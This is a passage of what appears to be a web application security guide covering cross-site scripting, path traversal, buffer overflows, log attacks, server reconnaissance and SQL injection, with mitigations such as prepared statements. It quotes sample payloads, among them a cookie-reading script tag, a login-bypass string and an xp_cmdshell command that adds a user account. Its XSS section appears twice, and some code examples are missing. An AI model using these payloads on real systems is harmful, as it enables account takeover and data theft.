HTML Injection, better known as Cross-site scripting, has received a great deal of press attention. The name originated from the CERT advisory, CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests [http://www.cert.org/advisories/CA-2000-02.html].

Although these attacks are most commonly known as "Cross-site Scripting" (abbreviated XSS), the name is somewhat misleading. The implication of the name "Cross-site Scripting" is that another site or external source must be involved in the attack. Posting links on an external site that inject malicious HTML tags on another site is one way that an HTML Injection attack can be executed, but is by no means the only way. The confusion caused by the implication that another site must be involved has led some developers to underestimate the vulnerabilities of their systems to the full range of HTML Injection attacks.

HTML Injection attacks are exploited on the user's system and not the system where the application resides. Of course if the user is an administrator of the system, that scenario can change. To explain the attack let's follow an example.

Imagine a system offering message board services where one user can post a message and other users can read it. Posted messages normally contain just text, but an attacker could post a message that contains HTML codes including embedded JavaScript. If the message are accepted without proper input filtering, then the embedded codes and scripts will be rendered in the broswers of those viewing the messages. What's more, they will execute in the security context of the user viewing the message, not the user posting the message.

In the above message-board example, imagine an attacker submits the following message.

When this message is rendered in the browser of a user who reads the post, it would display that user's cookie in an alert window. In this case, each user reading the message would see his own cookie, but simple extensions to the above script could deliver the cookies to the attacker. The following example would leave the victim's cookie in the web log of a site owned by the attacker. If that cookie reveals an active session id of another user or a system administrator it gives the attacker an easy means of masquerading as that user in the host system.

The "cross-site" version of the above attack would be to post a URL on another site that encoded similar malicious scripts. An attacker's website might offer a link that reads, "click here to purchase this book at Megabooks.com". Embedded into the link could be the same malicious codes as in the above example. If Megabooks.com returned the unfiltered payload to the victim's browser, the cookie of a Megabooks.com account member would be sent to the attacker.

In the above examples, the payload is a simple JavaScript command. Because modern client-side scripting languages now run beyond simple page formatting, a tremendous variety of dangerous payloads can be constructed. In addition many clients are poorly written and rarely patched. These clients may be tricked into executing an even greater number of dangerous functions.

There are four basic contexts for input within an HTML document. While the basic technique is the same, all of these contexts require different tests to be conducted to determine whether the application is vulnerable to this form of HTML injection.

- Tags

  This is the most common usage of HTML Injection and involves inserting tags such as <SCRIPT>, <A> <IMG> or <IFRAME> into the HTML document. This context is used when the attack data is displayed as text in the HTML document.
- Events

  An often-missed context is the use of scripting events, such as "onclick". This context is usually used when the payload is displayed to the user as an input field or as an attribute of another tag. A form

element attribute such as "onclick" can encode the same type of malicious JavaScript commands, executed when a user clicks on the form element, for example: '" onclick="javascript:alert(123)'.

- Indirect Scripting

Some web applications, such as message boards, allow limited HTML to be injected by the user. This is sometime done using an intermediate tag library, which is translated by the application into HTML before returning the page to the browser. For example, if: "[IMG]a.gif[/IMG]" generates the following HTML: "" then the technique could be exploited by an input such as this: '[IMG]nonsense.gif" onerror="alert(1)[/IMG]'.

- Direct Scripting

Other web applications will occassionally generate scripting code on the fly and include data that originated from users in the script. An example would be this snippet of JavaScript code:

```
MISSING SNIPPET
```

As the above examples show, there are many ways in which HTML Injection can be used. HTML Injection attacks are some of the easiest for attackers to uncover because of the immediate test-response cycles and because of the limited knowledge of the application structure required. Malicious attacks can come from internal users as well as outside users. Therefore, preventing HTML Injection attacks is absolutely essential, even for applications on an intranet or other secure system.

9.11.3.2. Mitigation Techniques

If the web server does not specify which character encoding is in use, the client cannot tell which characters are special. Web pages with unspecified character-encoding work most of the time because most character sets assign the same characters to byte values below 128. Determining which characters above 128 are considered special is somewhat difficult.

Web servers should set the character set, then make sure that the data they insert is free from byte sequences that are special in the specified encoding. This can typically be done by settings in the application server or web server. The server should define the character set in each html page as below.

```
MISSING SNIPPET
```

The above tells the browser what character set should be used to properly display the page. In addition, most servers must also be configured to tell the browser what character set to use when submitting form data back to the server and what character set the server application should use internally. The configuration of each server for character set control is different, but is very important in understanding the canonicalization of input data. Control over this process also helps markedly with internationalization efforts.

Filtering special meta characters is also important. HTML defines certain characters as "special", if they have an effect on page formatting.

In an HTML body:

- "<" introduces a tag.
- "&" introduces a character entity.

Note : Some browsers try to correct poorly formatted HTML and treat ">" as if it were "<" .

In attributes:

- double quotes mark the end of the attribute value.
- single quotes mark the end of the attribute value.
- "&" introduces a character entity.

In URLs:

- Space, tab, and new line denote the end of the URL.
- "&" denotes a character entity or separates query string parameters.
- Non-ASCII characters (that is, everything above 128 in the ISO-8859-1 encoding) are not allowed in URLs.
- The "%" must be filtered from input anywhere parameters encoded with HTTP escape sequences are decoded by server-side code.

Ensuring correct encoding of dynamic output can prevent malicious scripts from being passed to the user. While this is no guarantee of prevention, it can help contain the problem in certain circumstances. The application can make an explicit decision to encode untrusted data and leave trusted data untouched, thus preserving mark-up content.

Encoding untrusted data can introduce additional problems however. Encoding a "<" in an untrusted stream means converting it to "<". This conversion makes the string longer, so any length checking of the input should be done only after canonicalization and sanitization of the data.

9.11.3.3. Further Reading

Appendix B in this document contains source code samples for Data Validation.

http://www.cert.org/tech_tips/malicious_code_mitigation.html

9.11.4. Path Traversal

9.11.4.1. Description

Many web applications utilize the file system of the web server in a presentation tier to temporarily and/or permanently save information or load template or configuration files. The WWW-ROOT directory is typically the virtual root directory within a web server, which is accessible to a HTTP Client. Web Applications may store data inside and/or outside WWW-ROOT in designated locations.

If the application does NOT properly check and handle meta-characters used to describe paths, for example "../", it is possible that the application is vulnerable to a "Path Traversal" attack. The attacker can construct a malicious request to return files such as /etc/passwd. This is often referred to as a "file disclosure" vulnerability.

Traversing back to system directories that contain binaries makes it possible to execute system commands OUTSIDE designated paths instead of simply opening, including or evaluating file.

9.11.4.2. Mitigation Techniques

Where possible make use of path normalization functions provided by your development language. Also remove offending path strings such as "../" as well as their Unicode variants from system input. Use of "chrooted" servers can also mitigate this issue.

Above all else by only accepting expected input, the problem is significantly reduced. We cannot stress that this is the correct strategy enough!

9.11.5. Buffer Overflow

9.11.5.1. Description

Attackers use buffer overflows to corrupt the execution stack of a web application. By sending carefully crafted input to a web application, an attacker can cause the web application to execute arbitrary code - effectively taking over the machine. Buffer overflows are not easy to discover and even when one is discovered, it is generally extremely difficult to exploit. Nevertheless, attackers have managed to identify buffer overflows in a staggering array products and components. Another very similar class of flaws is known as format string attacks.

Buffer overflow flaws can be present in both the web server or application server products that serve the static and dynamic aspects of the site, or the web application itself. Buffer overflows found in widely used server products are likely to become widely known and can pose a significant risk to users of these products. When web applications use libraries, such as a graphics library to generate images, they open themselves to potential buffer overflow attacks.

Buffer overflows can also be found in custom web application code, and may even be more likely given the lack of scrutiny that web applications typically go through. Buffer overflow flaws in custom web applications are less likely to be detected because there will normally be far fewer hackers trying to find and exploit such flaws in a specific application. If discovered in a custom application, the ability to exploit the flaw (other than to crash the application) is significantly reduced by the fact that the source code and detailed error messages for the application may not be available to the hacker.

Almost all known web servers, application servers and web application environments are susceptible to buffer overflows, the notable exception being Java and J2EE environments, which are immune to these attacks (except for overflows in the JVM itself).

9.11.5.2. Mitigation Techniques

Keep up with the latest bug reports for your web and application server products and other products in your Internet infrastructure. Apply the latest patches to these products. Periodically scan your website with one or

more of the commonly available scanners that look for buffer overflow flaws in your server products and your custom web applications.

For your custom application code, you need to review all code that accepts input from users via the HTTP request and ensure that it provides appropriate size checking on all such inputs. This should be done even for environments that are not susceptible to such attacks as overly large inputs that are uncaught may still cause denial of service or other operational problems.

9.11.5.3. Further Reading

Aleph One, "Smashing the Stack for fun and profit", http://www.phrack.com/show.php?p+49&a+14
Mark Donaldson, "Inside the buffer Overflow Attack: Mechanism, method, & Prevention," http://rr.sans.org/code/inside_buffer.php

9.12. Summary

This chapter covered the application security issues dealing with the failure to properly validate data input:

- Input Sources

  The various sources of input that an application needs to protect.
- Input Formats

  The formatting and encoding schemes that an application needs to be aware of.
- Concept of Injection

  The core concept of how injection attacks work.

Chapter 10. Logging

10.1. Introduction

Many applications use log files in any form. This can range from a simple file written by the hosting web server to a extensive log file containing all informations and movements of a user working with an application.

Often logs are used during development and forgotten later on during the roll out at the customers site. These logs are known to be misused by attackers either to learn more about the attacked system or as a general information leak.

This chapter is all about the zen of logging. It is therefor answering the following questions:

- Motivation

  Why do we log something in the first place?
- Logging types

  What can or should be logged and where does the data come from?
- Storage and handling

  Where are logs stored to? How are log files handled and who should have access to them?
- Attacks and mitigation stategies

  How can and will logs be attacked and how can we protect the files?

10.2. Motivation

Normaly there is some reason behind the decision to log informations from within an application. Among the possible reasons to do so can be some from the following list:

- General Debugging

  Logs are useful in reconstructing events after a problem has occurred, security related or not.

  Event reconstruction can allow a security administrator to determine the full extent of an intruder's activities and expedite the recovery process.
- Potential forensics

  Logs may in some cases be needed in legal proceedings to prove wrongdoing. In this case, the actual handling of the log data is crucial.
- Traceability of behaviour

Logs are often the only record that suspicious behavior is taking place: Therefor logs can sometimes be fed real-time directly into intrusion detection systems.

- Quality of service

  Repetitive polls can be protocolled so that network outages or server shutdowns get protocolled and the bahaviour can either be analyzed later on or a responsible person can take immediate actions.

- Proof of validity

  Application developers sometimes write logs to proof to their customers that their applications are behaving as expected and the error must be searched somewhere else.

- Required by law or corporate policies

  Logs can provide individual accountability in the web application system universe by tracking a user's actions.

  It can be corporate policy or local law to be required to (as example) save header informations of all incoming and outgoing emails. These logs must then be kept save and confidential for six months before they can be deleted.

The points from above show all different motivations and result in different requirements and strategies. This means, that before we can implement a logging mechanism into an application or system, we have to know the requirements and their later usage. If we fail in doing so this can lead to unintentional results.

Failure to enable or design the proper event logging mechanisms in the web application may undermine an organization's ability to detect unauthorized access attempts, and the extent to which these attempts may or may not have succeeded. We will look into the most common attack methods, design and implementation errors as well as the mitigation strategies later on in this chapter.

There is another reason why the logging mechanism must be planned before it's implementation. In some countries there exist laws which define what kind of personal informations are allowed to be not only logged but also analyzed. In Switzerland - as example - companies are not allowed to log personal informations of their employes (like what they do on the internet or what they write in their emails). So if a company wants to log a workers surfing habbits, the corporation needs to inform her of their plans in advance.

This leads to the requirement of having anonymized logs or unpersonalized logs with the ability to re-personalized them later on if need be. If an unauthorized person has access to (legally) personalized logs, the corporation is acting unlawful again. So there can be a few (not only) legal traps which must be kept in mind.

10.3. Logging types

Logs can contain different kinds of data. The selection of the data used is normaly affected by the motivation leading to the logging. This section contains informations about the different types of logging informations and the reasons why we could want to log them.

In general, the logging features include appropriate debugging informations such as time of event, initiating process or owner of process, and a detailed description of the event. The following are types of system events which can be logged in an application. It depends on the particular applicaton or system and the needs to decide which of these will be used in the logs:

- Reading of data logs file access and what kind of data is read. This not only allows to see if data was read but also by whom and when.
- Writing of data logs also where and with what mode (append, replace) data was written. This can be used to see if data was overwritten or if a program is writing at all.
- Modification of any data characteristics, including access control permissions or labels, location in database or file system, or data ownership. Administrators can detect if their configurations were changed.
- All administrative functions and changes in configuration regardless of overlap (account management actions, viewing any user's data, enabling or disabling logging, etc.)
- Miscellaneous debugging information that can be enabled or disabled on the fly.
- All authorization attempts (include time) like success/failure, resource or function being authorized, and the user requesting authorization. We can detect password guessing with these logs. These kinds of logs can be fed into an Intrusion Detection system which will detect anomalies.
- Deletion of any data (object). Sometimes applications are required to have some sort of versioning in which the deletion process can be cancelled.
- Network communications (bind, connect, accept, etc.). With these informations an Intrusion Detection system can detect port scanning and brute force attacks.
- All authentication events (logging in, logging out, failed logins, etc.) which allow to detect brute force and guessing attacks too.

10.4. Attacks and mitigation stategies

There are a number of attacks against logging mechanisms of which a security administrator should be aware of in order to decide on suitable protection measures:

10.4.1. Noise

10.4.1.1. Description

Intentionally invoking security errors to fill an error log with entries (noise) that hide the incriminating evidence of a successful intrusion. When the administrator or log parser application reviews the logs, there is every chance that they will summarize the volume of log entries as a denial of service attempt rather than identifying the 'needle in the haystack'.

10.4.1.2. Mitigation Techniques

This is difficult since applications usually offer an uminpeded route to functions capable of generating log events. If you can deploy an intelligent device or application component that can shun an attacker after repeated

attempts, then that would be beneficial. Failing that, an error log audit tool that can reduce the bulk of the noise, based on repetition of events or originating from the same source for example. It is also useful if the log viewer can display the events in order of severity level, rather than just time based.

10.4.2. Cover Tracks

10.4.2.1. Description

The top prize in logging mechanism attacks goes to the contender who can delete or manipulate log entries at a granular level, "as though the event never even happened!". Intrusion and deployment of rootkits allows an attacker to utilize specialized tools that may assist or automate the manipulation of known log files. In most cases, log files may only be manipulated by users with root / administrator privileges, or via approved log manipulation applications. As a general rule, logging mechanisms should aim to prevent manipulation at a granular level since an attacker can hide their tracks for a considerable length of time without being detected. Simple question; if you were being compromised by an attacker, would the intrusion be more obvious if your log file was abnormally large or small, or if it appeared like every other day's log?

10.4.2.2. Mitigation Techniques

Assign log files the highest security protection, providing reassurance that you always have an effective 'black box' recorder if things go wrong. This includes:

- Applications should not run against user IDs assigned as 'superusers'. This is the main cause of log file manipulation success since superusers typically have full file system access. Assume the worst case scenario and suppose your application is expolited. Would there be any other security layers in place to prevent the application's user privileges from manipulating the log file to cover tracks?
- Ensuring that access privileges protecting the log files are restrictive, reducing the majority of operations against the log file to alter and read.
- Ensuring that log files are assigned object names that are not obvious and stored in a safe location of the file system.
- Writing log files using publicly or formally scrutinized techniques in an attempt to reduce the risk associated with reverse engineering or log file manipulation.
- Writing log files to Read Only media (where event log integrity is of critical importance).
- Use of hashing technology to create digital fingerprints. The idea being that if an attacker does manipulate the log file, then the digital fingerprint will not match and an alert generated.
- Use of host based IDS technology where normal behavioral patterns can be 'set in stone'. Attempts by attackers to update the log file through anything but the normal approved flow would generate an exception and the intrusion can be detected and blocked. This is one security control that can safeguard against simplistic administrator attempts at modifications.

10.4.3. False Alarms

10.4.3.1. Description

Taking cue from the classic 1966 film "How to Steal a Million", or similarly the fable of Aesop; "The

Boy Who Cried Wolf", be wary of repeated false alarms, since this may represent an attacker's actions in trying to fool the security admnistrator into thinking that the technology is faulty and not to be trusted until it can be fixed.

10.4.3.2. Mitigation Techniques

Simply be aware of this type of attack, take every security violation seriously, always get to the bottom of the cause event log errors rather, and don't just dismiss errors unless you can be completely sure that you know it to be a technical problem.

10.4.4. Denial of Service

10.4.4.1. Description

There are a couple of scenarios here:

- By repeatedly hitting an application with requests that cause log entries to be written, multiply this by ten thousand, and the result is that you have a very large log file and a possible headache for the security administrator. Where log files are configured with a fixed allocation size, then once full, all logging will stop and an attacker has effectively denied service to your logging mechanism. Worse still, if there is no maximum log file size, then an attacker has the ability to completely fill the hard drive partition and potentially deny service to the entire system. This is becoming more of a rarity though with the increasing size of today's hard disks, although you could argue that network bandwidth and processing power is also increasing at a similar rate, thus an attacker has increased ability to fire ammunition at a faster rate.

10.4.4.2. Mitigation Techniques

The main defense against this type of attack are to increase the maximum log file size to a value that is unlikely to be reached, place the log file on a separate partition to that of the operating system or other critical applications and best of all, try to deploy some kind of system monitoring application that can set a threshold against your log file size and/or activity and issue an alert if an attack of this nature is underway.

10.4.5. Destruction

10.4.5.1. Description

There are a couple of scenarios here:

- Following the same scenario as the Denial of Service above, if a log file is configured to cycle round overwriting old entries when full, then an attacker has the potential to do the evil deed and then set a log generation script into action in an attempt to eventually overwrite the incriminating log entries, thus destroying them.
- If all else fails, then an attacker may simply choose to cover their tracks by purging all log file entries, assuming they have the privileges to perform such actions. This attack would most likely involve calling the log file management program and issuing the command to clear the log, or it may be easier to simply delete the object which is receiving log event updates (in most cases, this object will be locked by the application). This type of attack does make an intrusion very obvious assuming that log files are being regularly monitored, and does have a tendancy to cause panic as system administrators and managers realize they have nothing upon which to base an investigation on.

10.4.5.2. Mitigation Techniques

Following most of the techniques suggested above will provide good protection against this attack. Also keep in mind two things; (1) Administrative users of the system should be well trained in log file management and review. 'Ad-hoc' clearing of log files is never advised and an archive should always be taken. Too many times a log file is cleared, perhaps to assist in a technical problem, erasing the history of events for possible future investagative purposes. (2) An empty security log does not necesarilly mean that you should pick up the phone and fly the forensics team in. In some cases, security logging is not turned on by default and it is up to you to make sure that it is. Also, make sure it is logging at the right level of detail and benchmark the errors against an established baseline in order measure what is considered 'normal' activity.

10.5. Best practices

It is just as important to have effective log management and collection facilities so that the logging capabilities of the web server and application are not wasted. Failure to properly store and manage the information being produced by your logging mechanisms could place this data at risk of compromise and make it useless for post mortem security analysis or legal prosecution. Ideally logs should be collected and consolidated on a separate dedicated logging host. The network connections or actual log data contents should be encrypted to both protect confidentiality and integrity if possible.

10.5.1. Storage

Where to log to?

Logs should be written so that the log file attributes are such that only new information can be written (older records cannot be rewritten or deleted). For added security, logs should also be written to a write once / read many device such as a CD-R.

Copies of log files should be made at regular intervals depending on volume and size (daily, weekly, monthly, etc.). .). A common naming convention should be adopted with regards to logs, making them easier to index. Verification that logging is still actively working is overlooked surprisingly often, and can be accomplished via a simple cron job!

Make sure data is not overwritten.

Log files should be copied and moved to permanent storage and incorporated into the organization's overall backup strategy.

Log files and media should be deleted and disposed of properly and incorporated into an organization's shredding or secure media disposal plan. Reports should be generated on a regular basis, including error reporting and anomaly detection trending.

Be sure to keep logs safe and confidential even when backed up.

10.5.2. Handling

Logs can be fed into real time intrusion detection and performance and system monitoring tools. All logging components should be synced with a timeserver so that all logging can be consolidated effectively without latency errors. This time server should be hardened and should not provide any other services to the network.

No manipulation, no deletion while analyzing.

10.6. Summary

This chapter covered the motivation behind the act of writing logs, how to avoid problems with and how to handle log files:

- Reason

  The motivation of writing logs and the reason for the logged values.
- Storage

  How to store and evaluate logs.
- Attacks

  The different kinds of attacks against logs and how to detect, defeat and avoid them.

IV. Web Security Attacks

Chapter 11. What's in this chapter

11.1. What's in this chapter

This chapter describes the common attacks launched against web servers and web applications. For each attack we describe the attack technique along with any available tools that are commonly used by attackers. We then discuss mitigation techniques to ensure that your web application is not found to be vulnerable to these attacks. Finally, wherever possible, we provide preliminary detection techniques to determine if an attacker is trying to exploit these vulnerabilities. If an attacker is able to successfully launch these attacks, he may gain various levels of access ranging from discovering the web technologies being used, to execution of malicious SQL queries against the back-end database.

Chapter 12. Attacks against the Web Server

12.1. Attacks against the Web Server

The first set of attacks that an attacker will typically launch against a web application will be targeted at the underlying web server. When trying to attack the server externally, an attacker will try to identify the technologies being used by the web application. These include the underlying web server, the operating system, the business logic components, the back-end database, and the programming language for the web application itself.

Some smart guesses can be made. For instance, if the web application is coded in ASP, there is a very high probability that the web server is IIS, and the operating system is one of the Windows server versions. There is also a good chance that in this case, the back-end database is probably Microsoft's SQL Server.

Such preliminary guesses can be further narrowed down by using some of the following techniques to enumerate more information:

Banner grabbing: This may reveal the web server software and version. However, it is relatively easy to change the banner of the real web server with that of some other, in order to try and throw the attacker off track. Most port scanners such as nmap1 or Superscan2 have options to enable banner grabbing during the port scan itself. Web Server Fingerprinting: Similar to the concept of OS fingerprinting, HTTP fingerprinting tries to determine the remote web server based on its responses to HTTP requests. Thus, even if the banner is modified, tools such as httprint3 will attempt to identify the web server as accurately as possible. Information disclosure: By inducing an error in the web application or the web server, the attacker can obtain information about the underlying technology. For instance, an error induced by supplying unexpected input values to an ASP page might reveal the back-end database to be Oracle or SQL Server. Another vulnerability that leads to code disclosure is if there are scripts on the web server, that it is not configured to preprocess. For instance, in one case where the site was predominantly coded in PHP, there were a few Perl scripts left lying around, probably from legacy code. Accessing one of the Perl scripts revealed its source including the username and password used to connect to the back-end database. This is also true of .inc files, which could contain sensitive information that can be read because these files are not pre-processed by IIS. Operating System Fingerprinting: The attacker may use nmap to try and fingerprint the operating system based on its specific implementation of the TCP/IP stack Once the process of technology identification is complete, the attacker will try to launch attacks against the web server, which exploit configuration mistakes, sample scripts, third-party components such as shopping cards, etc.

One of the most popular open-source tools for testing web applications is Nikto4, which contains an extensive database of vulnerabilities against various web servers. The usual suspect in vulnerability assessment exercises, Nessus, also does a pretty good job of determine vulnerabilities in the web server, operating system, and other technologies. In fact, there are now plugins for Nessus that will attempt to

detect the vulnerability of the web application to SQL injection and HTML injection attacks.

At the next stage, the attacker will survey the whole web application to try and determine the general design logic being followed. This is typically done by downloading the entire website onto the local hard drive, and then studying the files to figure out the structure of the web site. For instance, does the web site keep the scripts in a central /admin/ or /scripts/ or /cgi-bin/ folder, or are they located in sub-folders containing the web page calls the functions in the scripts. Commonly used tools for downloading entire websites include HTTrack5, which has a Windows version called as WinHTTrack, as well as the 'wget' which is a command-line tool, etc. Most of these tools have options for filtering the files that get downloaded from the website, and the levels to which hyperlinks within the downloaded pages are followed and downloaded. Of course, these tools will not download the PHP or ASP scripts, but will instead show their processed outputs.

Another file that deserves specific mention is the 'robots.txt' file. This file contains a list of folders within the website that must be ignored by search engine robots. Most search engine robots do not take this file into cognizance. However, most automated attack tools as well as attackers will look around for the presence of this file, as it will indicate potentially sensitive areas, which may contain files with critical information.

12.2. Mitigation Techniques

The first mitigation measure is to secure your web server. Apply all the security patches for your web server and the underlying operating system. Use commonly available patch checking tools to determine missing patches. Follow secure coding guidelines for the specific web server. Some of these would be to run the web server with normal user privileges, remove sample scripts and files, remove any CGI scripts that are absolutely not required (such as formmail.pl, etc.), remove all features/modules that are not necessary for your website to function, etc.

Additionally, use utilities or configuration changes to ensure that your webserver does not reveal its actual name and version in the banner. You may use URLScan for Microsoft IIS and modify the httpd.conf to prevent Apache from revealing its version number. Also, you should customize the error pages as they immediately indicate the web server being used.

To prevent important configuration files such as .inc, .cfg, .config, etc. from being downloaded, you could rename them to have .php or .asp extensions, such that the web server will attempt to preprocess them, and the contents will not get revealed to the attacker. A better solution is to put these files outside of the $DocumentRoot, such that they cannot be accessed simply by typing in the path as a URL.

Chapter 13. SQL Injection

13.1. SQL Injection

Well-designed applications insulate the users from business logic. Some applications however do not validate user input and allow malicious users to make direct database calls to the database. This attack, called direct SQL injection, is surprisingly simple.

Imagine a login screen to a web application. When the user enters his user ID and password in the web form, his browser is creating an HTTP request to the web application and sending the data. This should be done over SSL to protect the data in transit. That typical request actually may look like this (A GET request is used here for demonstration. In practice this should be done using a POST so that the sensitive information is not displayed on a the address bar of the user's browser where a casual passer-by can read it):

```
http://www.vulnerablesite.com/login.asp?username=john&password=doe
```

The application that receives this request takes the two sets of parameters supplied as input:

```
Username = john Password = doe
```

The application builds a database query that will check the user ID and password to authenticate the user. That database query may look like this:

```
select * from user_table where username='john' and password='doe'
```

All works just fine until the attacker comes along and figures out he can modify the SQL command that actually gets processed and executed. Here he uses a user ID he does not have a password for and is not authorized to access. For instance:

```
http://www.vulnerablesite.com/login.asp?username=admin'--&password=whatever
```

The resulting SQL now appears like this:

```
select * from user_table where username='john'--' and password='whatever'
```

The consequences are devastating. The single-quote (') closes the opening single-quote used by the application to construct the query. The -- comments out the rest of the SQL command causing the

retrieval to ignore the rest of the query, including the value in the password field. The attacker has been able to bypass the administrative password and authenticate as the admin user. A badly designed web application means hackers are able to retrieve and place data in authoritative systems of record at will. Direct SQL Injection can be used to:

alter the maxlength attribute which will limit how much info a user can enter change SQL values concatenate SQL statements add function calls and stored-procedures to a statement typecast and concatenate retrieved data

Some examples are shown below to demonstrate these techniques.

Changing SQL Values Malicious HTTP request Username: test'; insert into user_table values ('admin','admin');--

Concatenating SQL Statements Malicious HTTP request Username: test' union select username, password from user_table;--

Adding function calls and stored-procedures to a statement Malicious HTTP request Username: test'; exec xp_cmdshell 'net user r00t3d r00t3d /add';--

The important point to note here is that the SQL injection attack technique will differ significantly based on the back-end database that is being used. For instance, it is much easier to execute multiple queries on an MS SQL database by separating them with the semi-colon (;). However, the same attack on an Oracle database requires the use of UNION and more complicated syntax. An excellent article discussing SQL injection attacks on Oracle written by Pete Finnigan is available at:

http://online.securityfocus.com/infocus/1644

The most publicized occurrences of this vulnerability were on the e-commerce sites of Guess.com6 and PetCo.com7. A 20-year old programmer in Orange County, California, Jeremiah Jacks discovered that it was possible to ferret out highly sensitive data such as credit card numbers, transaction details, etc. from these and a number of other sites using specially crafted URLs containing SQL meta-characters.

13.2. Mitigation Techniques

If your input validation strategy is to only accept expected input then the problem is significantly reduced. However this approach is unlikely to stop all SQL injection attacks and can be difficult to implement if the input filtering algorithm has to decide whether the data is destined to become part of a query or not, and if it has to know which database such a query might be run against. For example, a user who enters the last name "O'Neil"

into a form includes the special meta-character ('). This input must be allowed, since it is a legitimate part of a name, but it may need to be escaped if it becomes part of a database query. Different databases may require that the character be escaped differently, however, so it would also be important to know for which database the data must be sanitized.

Fortunately, there is usually a very good solution to this problem. The best way to protect a system against SQL injection attacks is to construct all queries with prepared statements and/or parameterized stored procedures. A prepared statement, or parameterized stored procedure, encapsulates variables and should escape special characters within them automatically and in a manner suited to the target database. Common database API's offer developers two different means of writing a SQL query. For example, in JDBC, the standard Java API for relational database queries, one can write a query either using a PreparedStatement or as a simple String. The preferred method from both a performance and a security standpoint should be to use PreparedStatements. With a PreparedStatement, the general query is written using a ? as a placeholder for a parameter value. Parameter values are substituted as a second step. The substitution should be done by the JDBC driver such that the value can only be interpreted as the value for the parameter intended and any special characters within it should be automatically escaped by the driver for the database it targets. Different databases escape characters in different ways, so allowing the JDBC driver to handle this function also makes the system more portable.

Common database interface layers in other languages offer similar protections. The Perl DBI module, for example, allows for prepared statements to be made in a way very similar to the JDBC PreparedStatement. Another database interface solution is Cayenne8, which provides management of persistent Java objects mapped to relational databases. Developers should test the behavior of prepared statements in their system early in the development cycle.

Parameterized stored procedures are a related technique that can also mitigate SQL Injection attacks and also have the benefit of executing faster in most cases. Most RDBMS systems offer a means of writing an embedded procedure that will execute a SQL statement using parameters provided during the procedure call. Typically these procedures are written in a proprietary Fourth Generation Language (4GL) such as PL/SQL for Oracle or T-SQL for SQL Server. When stored procedures are used, the application calls the procedure passing parameters, rather than constructing the SQL query itself. Like PreparedStatements in JDBC, the stored procedure does the substitution in a manner that is safe for that database.

Use of prepared statements or stored procedures is not a panacea. The JDBC specification does NOT require a JDBC driver to properly escape special characters. Many commercial JDBC drivers will do this correctly, but some definitely do not. Developers should test their JDBC drivers with their target database. Fortunately it is often easy to switch from a bad driver to a good one. Writing stored procedures for all database access is often not practical and can greatly reduce application portability across different databases.

Because of these limitations and the lack of available analogues to these techniques in some application development platforms, proper input data validation is still strongly recommended. This includes proper canonicalization of data since a driver may only recognize the characters to be escaped in one of many encodings. Defense in depth implies that all available techniques should be used if possible. Careful

consideration of a data validation technique for prevention of SQL Injection attacks is a critical security issue. Wherever possible use the "only accept known good data" strategy and fall back to sanitizing the data for situations such as "O'Neil". In those cases, the application should filter special characters used in SQL statements. These characters can vary depending on the database used but often include "+", "-", "," "'" (single quote), "" (double quote), "_", "*", ";", "|", "?", "&" and "=".

An article on detection SQL injection attacks on an Oracle database, written by Pete Finnigan is available at:

http://online.securityfocus.com/infocus/1714

13.3. Further Reading

Appendix C in this document contains source code samples for SQL Injection Mitigation.

http://www.nextgenss.com/papers/advanced_sql_injection.pdf http://www.sqlsecurity.com/faq-inj.asp
http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf
http://www.nextgenss.com/papers/advanced_sql_injection.pdf
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf

Chapter 14. HTML Injection

14.1. HTML Injection

HTML Injection, better known as Cross-site scripting, has received a great deal of press attention. The name originated from the CERT advisory, CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests [http://www.cert.org/advisories/CA-2000-02.html]. Although these attacks are most commonly known as "Cross-site Scripting" (abbreviated XSS), the name is somewhat misleading. The implication of the name "Cross-site Scripting" is that another site or external source must be involved in the attack. Posting links on an external site that inject malicious HTML tags on another site is one way that an HTML Injection attack can be executed, but is by no means the only way. The confusion caused by the implication that another site must be involved has led some developers to underestimate the vulnerabilities of their systems to the full range of HTML Injection attacks. HTML Injection attacks are exploited on the user's system and not the system where the application resides. Of course if the user is an administrator of the system, that scenario can change. To explain the attack let's follow an example.

Imagine a system offering message board services where one user can post a message and other users can read it. Posted messages normally contain just text, but an attacker could post a message that contains HTML codes including embedded JavaScript. If the messages are accepted without proper input filtering, then the embedded codes and scripts will be rendered in the browsers of those viewing the messages. What's more, they will execute in the security context of the user viewing the message, not the user posting the message. In the above message-board example, imagine an attacker submits the following message.

```
<script>alert(document.cookie)</script>
```

When this message is rendered in the browser of a user who reads the post, it would display that user's cookie in an alert window. In this case, each user reading the message would see his own cookie, but simple extensions to the above script could deliver the cookies to the attacker. The following example would leave the victim's cookie in the web log of a site owned by the attacker.

If that cookie reveals an active session id of another user or a system administrator it gives the attacker an easy means of masquerading as that user in the host system. The "cross-site" version of the above attack would be to post a URL on another site that encoded similar malicious scripts. An attacker's website might offer a link that reads, "click here to purchase this book at Megabooks.com". Embedded into the link could be the same malicious codes as in the above example. If Megabooks.com returned the unfiltered payload to the victim's browser, the cookie of a Megabooks.com account member would be sent to the attacker. In the above examples, the payload is a simple JavaScript command.

Because modern client-side scripting languages now run beyond simple page formatting, a tremendous

variety of dangerous payloads can be constructed. In addition many clients are poorly written and rarely patched. These clients may be tricked into executing an even greater number of dangerous functions. There are four basic contexts for input within an HTML document. While the basic technique is the same, all of these contexts require different tests to be conducted to determine whether the application is vulnerable to this form of HTML injection:

Tags - This is the most common usage of HTML Injection and involves inserting tags such as <SCRIPT>, <A> <IMG> or <IFRAME> into the HTML document. This context is used when the attack data is displayed as text in the HTML document. Events - An often-missed context is the use of scripting events, such as "onclick". This context is usually used when the payload is displayed to the user as an input field or as an attribute of another tag. A form element attribute such as "onclick" can encode the same type of malicious JavaScript commands, executed when a user clicks on the form element, for example: '" onclick="javascript:alert(123)' Indirect Scripting - Some web applications, such as message boards, allow limited HTML to be injected by the user. This is sometime done using an intermediate tag library, which is translated by the application into HTML before returning the page to the browser. For example, if: "[IMG]a.gif[/IMG]" generates the following HTML: "" then the technique could be exploited by an input such as this: '[IMG]nonsense.gif" onerror="alert (1)[/IMG]' Direct Scripting - Other web applications will occasionally generate scripting code on the fly and include data that originated from users in the script.

As the above examples show, there are many ways in which HTML Injection can be used. HTML Injection attacks are some of the easiest for attackers to uncover because of the immediate test-response cycles and because of the limited knowledge of the application structure required. Malicious attacks can come from internal users as well as outside users. Therefore, preventing HTML Injection attacks is absolutely essential, even for applications on an intranet or other secure system.

